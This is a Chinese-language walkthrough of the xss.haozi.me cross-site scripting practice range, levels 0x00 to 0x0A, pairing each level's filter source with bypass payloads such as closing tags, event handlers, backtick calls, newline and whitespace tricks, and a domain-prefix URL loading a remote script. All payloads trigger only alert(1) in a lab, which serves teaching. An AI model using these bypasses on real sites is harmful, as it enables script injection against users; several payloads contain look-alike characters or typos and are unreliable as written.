君衍.
- 一、靶场介绍
- 二、第一关 0x00 不做限制
- 三、第二关 0x01 文本闭合标签绕过
- 四、第三关 0x02 双引号闭合绕过
- 五、第四关 0x03 过滤括号
- 六、第五关 0x04 编码绕过
- 七、第六关 0x05 注释闭合绕过
- 八、第七关 0x06 换行绕过
- 九、第八关 0x07 删除标签
- 十、第九关 0x08 多加空格绕过
- 十一、第十关 0x09 闭合绕过
- 十二、第十一关 0x0A JS调用
一、靶场介绍
该靶场直接使用网站进去即可练习:
https://xss.haozi.me/#/0x00
每关完成弹窗alert(1)即可过关。
二、第一关 0x00 不做限制
源码:
function render (input) {return '<div>' + input + '</div>'
}
我们即可看到将传入的值直接放div输出来,所以我们使用常用的payload即可:
<script>alert(1)</script>
<a href=javascript:alert(1)>aaa</a>
点击即可通关。
<a href="1" onclick=alert(1)>a</a>
点击即可通关,所以这里通关方法挺多,这里不赘述。
三、第二关 0x01 文本闭合标签绕过
源码:
function render (input) {return '<textarea>' + input + '</textarea>'
}
函数的实现是将 input 参数的值插入到 <textarea>
标签的起始标签和结束标签之间,这样就创建了一个包含指定内容的文本区域(textarea)。
所以我们这里需要进行闭合,逃逸掉。
</textarea><a href="1" onclick=alert(1)>a</a>
点击即可完成触发:
当然,我们也可以用户不参与:
</textarea><img src="1" onerror=alert(1)>
</textarea><script>alert(1)</script>
四、第三关 0x02 双引号闭合绕过
本关其实与上一关差不多:
可以看到这里并不解析JS,同时源码如下:
function render (input) {return '<input type="name" value="' + input + '">'
}
函数的实现是将传入的 input 参数值插入到 <input>
元素的 value 属性中,这样就创建了一个包含特定值的输入框(input),其类型为 “name”。最终返回的字符串包含了完整的 <input>
元素标签及其属性,以及传入的 input 参数值作为输入框的默认值。
所以我们需要进行逃逸,这里我们使用双引号闭合掉,完成逃逸:
1"><script>alert(1)</script>
1" οnclick="alert(1)
1"><img src="1" οnerrοr="alert(1)">
五、第四关 0x03 过滤括号
我们可以看到这里括号没了,查看源码:
function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}
函数首先创建了一个名为 stripBracketsRe
的正则表达式,用于匹配输入字符串中的所有括号(包括圆括号)。然后,它使用 replace 方法将输入字符串中的所有括号替换为空字符串,即将括号从输入字符串中删除。最后,函数返回经过括号删除处理后的字符串。
所以我们需要将括号绕过,这里用两种方式,使用`来进行绕过:
<script>alert`1`</script>
<img src=1 onerror="alert`1`">
同时我们也可以使用编码绕过:
<img src=1 onerror="javascript:alert(1)">
<a href="1" onclick=alert`1`>aaa</a>
非常多,这里就不举例了。
六、第五关 0x04 编码绕过
这里我们可以看到`也进行了过滤,所以我们查看源码:
function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input
}
可以看到比第四关多了一个`号,不让我们使用来其进行绕过,所以我们依旧可以使用编码:
<svg><script>alert(1)</script></scg>
<iframe srcdoc="<script>alert(1))</script>">
<img src=1 onerror=alert(1)>
七、第六关 0x05 注释闭合绕过
我们可以看到给我们注释掉了,所以我们查看源码:
function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}
函数使用正则表达式 /–>/g 来匹配输入字符串中所有的 “–>”(HTML注释的结束标记),然后通过 replace 方法将这些匹配的字符串替换为 ‘😂’,一个笑脸符号(这里用作替换内容的示例)。最后,函数返回一个字符串,其中包含了处理后的输入字符串,但注释结束标记已经被替换为 ‘😂’。
所以这里我们肯定是要闭合掉注释完成逃逸,这里可以使用–!>:
--!><script>alert(1)</script>
剩下payload就不列举了,肯定是先闭合掉。
八、第七关 0x06 换行绕过
本关我们很明显可以看到首先进行了过滤,查看源码:
function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}
函数使用了正则表达式 /auto|on.*=|>/ig
来匹配输入字符串中的三种模式:auto、on 后跟任意字符直到等号 = 以及 >。然后,通过调用字符串的 replace 方法,将匹配到的内容替换为下划线 _。最后,函数返回一个包含了 <input>
元素的字符串。在该字符串中,input 元素的 value 属性被设置为 1,而其他属性则由参数 input 决定,经过处理后使用。这样,函数的主要作用是将输入字符串中的 auto、以 on 开头后接任意字符直到等号 = 以及 > 这三种模式替换为下划线 _,然后构造一个 <input>
元素的字符串返回。
但是并没有匹配换行符,所以我们也可以使用回车来进行绕过:
onclick
="alert(1)"
点击即可触发:
type="image" src="" onerror
=alert(1)
当然我们这里也可以将输入框的类型变为图像输入,同时指定图像url,这里直接为空,从而使其执行报错,onerror中的内容,图片加载失败即可完成alert(1)函数的触发,从而完成1的弹窗。
九、第八关 0x07 删除标签
我们使用闭合以及最简单的弹窗来观察过滤:
查看源码:
function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}
函数首先创建了一个名为 stripTagsRe 的正则表达式,用于匹配输入字符串中的所有 HTML 标签,包括标签的起始标记 <tag>
和结束标记 </tag>
,以及标签中的属性。然后,通过调用字符串的 replace 方法,将匹配到的标签及其属性替换为空字符串,从而删除了所有 HTML 标签。最后,函数返回一个包含在 <article>
元素中的字符串,其中的内容是经过删除 HTML 标签处理后的 input 字符串。
<img src="" onerror="alert(1)"
<svg/onload="alert(1)"
这里我们依旧可以完成绕过是因为render函数虽然删除了HTML标签,丹斯onerror事件处理并不需要依附于任何实际的HTML标签来进行触发,所以第一个我们尝试访问加载图像,没有则事件触发,从而完成弹窗。
十、第九关 0x08 多加空格绕过
我们依旧尝试闭合弹窗,观察回显:
查看源码:
function render (src) {src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')return `<style>${src}</style>`
}
函数首先使用正则表达式 /<\/style>/ig
来匹配输入字符串中的 </style>
标记。然后,通过调用字符串的 replace 方法,将匹配到的 </style>
标记替换为一个注释 /*
垃圾人 */
。在注释中使用了 Unicode 转义序列 \u574F\u4EBA
,其对应的是中文字符 “坏人”。这样,函数将 </style>
替换为了注释 “/* 垃圾人 */
”。最后,函数返回一个包含在 <style>
元素中的字符串。
所以这里我们可以使用多加空格来进行绕过:
</style ><script>alert(1)</script>
同时我们也可以利用正则不能匹配空格来进行绕过:
</style
><script>alert(1)</script>
十一、第十关 0x09 闭合绕过
本关我们需要使用到该靶场提供的一个JS:
https://xss.haozi.me/j.js
以及我们查看源码可得:
function render (input) {let domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${input}"></script>`}return 'Invalid URL'
}
函数首先定义了一个正则表达式 domainRe
,用于匹配以 http:// 或 https:// 开头,后跟 www.segmentfault.com
的 URL。然后,函数使用 domainRe.test(input)
来测试输入的 URL 是否符合该正则表达式。如果符合,则返回一个包含该 URL 的 <script>
标签,否则返回 'Invalid URL'
。在返回的 <script>
标签中,${input}
被插入到了 src 属性中,这样可以动态加载指定 URL 的脚本。如果输入的 URL 符合 domainRe
定义的格式,则会返回类似于 <script src="https://www.segmentfault.com"></script>
这样的字符串;否则会返回 'Invalid URL'
。
所以这里我们需要使用该网址头部:
http://www.segmentfault.com.haozi.me/j.js
我们即可利用服务器提供的JS完成弹窗。当然,如果不清楚官方提供的JS,我们也可以直接闭合,使用别的方式完成弹窗:
https://www.segmentfault.com"></script><img src="" οnerrοr="alert(1)
这里我们直接使用了闭合,然后使用img标签来完成图像的调用,从而报错完成触发。
https://www.segmentfault.com"></script><script>alert(1)</script>
闭合逃逸掉,我们就可以使用多种payload完成触发。
十二、第十一关 0x0A JS调用
本关如果我们采用上一关闭合的payload,可以看到:
这里是被实体编码了,从而没法完成调用,所以我们查看源码:
function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&').replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>').replace(/\//g, '/')}const domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${escapeHtml(input)}"></script>`}return 'Invalid URL'
}
首先定义了一个名为 escapeHtml
的内部函数,用于转义 HTML 中的特殊字符。该函数将 &, ', ", <, >, /
分别替换为它们对应的 HTML 实体,以防止 XSS 攻击和 HTML 注入等安全问题。接着,定义了一个正则表达式 domainRe
,用于匹配以 http://
或 https://
开头,后跟 www.segmentfault.com
的 URL。然后,使用 domainRe.test(input)
来测试输入的 URL 是否符合该正则表达式。如果输入的 URL 符合 domainRe
定义的格式,则调用 escapeHtml
函数对输入的 URL 进行 HTML 转义,并将其插入到 <script>
标签的 src 属性中,最终返回类似于 <script src="https://www.segmentfault.com"></script>
的字符串。如果输入的 URL 不符合格式,则返回 ‘Invalid URL’ 字符串。
所以本关其实与上一关差不多,但是我们如果采用闭合,那么将会被实体编码从而无法完成调用。本关我们只能采用使用官方的JS进行调用:
https://www.segmentfault.com.haozi.me/j.js
从而完成我们的弹窗触发。